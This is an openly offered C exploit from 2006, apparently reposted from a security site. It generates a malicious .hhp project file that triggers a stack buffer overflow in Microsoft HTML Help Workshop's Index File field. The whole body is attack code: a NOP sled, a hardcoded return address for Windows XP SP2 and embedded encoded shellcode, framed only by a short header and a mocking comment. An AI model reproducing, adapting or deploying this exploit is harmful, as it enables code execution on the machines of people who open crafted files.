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Microsoft HTML Help Workshop .hhp File Handling Buffer Overflow Exploit #3
来源:http://eagle.blacksecurity.org 作者:Darkeagle 发布时间:2006-02-15  

Microsoft HTML Help Workshop ".hhp" File Handling Buffer Overflow Exploit #3


/*
\ Windows HTML Help Workshop Index File Stack Overflow Exploit
/ by Darkeagle
\
/ [http://eagle.blacksecurity.org]
\
/ MS coders codes so secure code. Keep coding }:>
\
/ Original Advisory: http://eagle.blacksecurity.org/stuff/unl0ck/adv/55k700206.txt
\
/ Exploit tested in WinXP SP2 RUS.
\
*/
#include <stdio.h>
#include <string.h>
#include "stdafx.h"

char ep[]=
"[OPTIONS]\n"
"Compatibility=1.1 or later\n"
"Compiled file=XAKEP.chm\n"
"Index File=";

char pro[]=
"Display compile progress=No\n"
"Language=0x43f 枢玎躐觇閈n\n\n"
"[INFOTYPES]";

char shellcode[]=
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";

int main(int argc,char *argv[])
{
printf("Windows HTML Help Workshop Index File stack overflow exploit\n");
printf("\nBug discovered && exploited by darkeagle of Unl0ck Researchers");
printf("\nWeb page: http://eagle.blacksecurity.org");

FILE *vuln;
char overflow[800];

vuln = fopen("eagle.hhp","w+");
memset(overflow, 0x90, 800);

*(long*)&overflow[280] = 0x77E859BA;
memcpy(overflow+292, &shellcode, sizeof(shellcode));

if(vuln)
{
fprintf(vuln,"%s%s\n%s",ep,overflow,pro);
fclose(vuln);
}

return 0;
}




 
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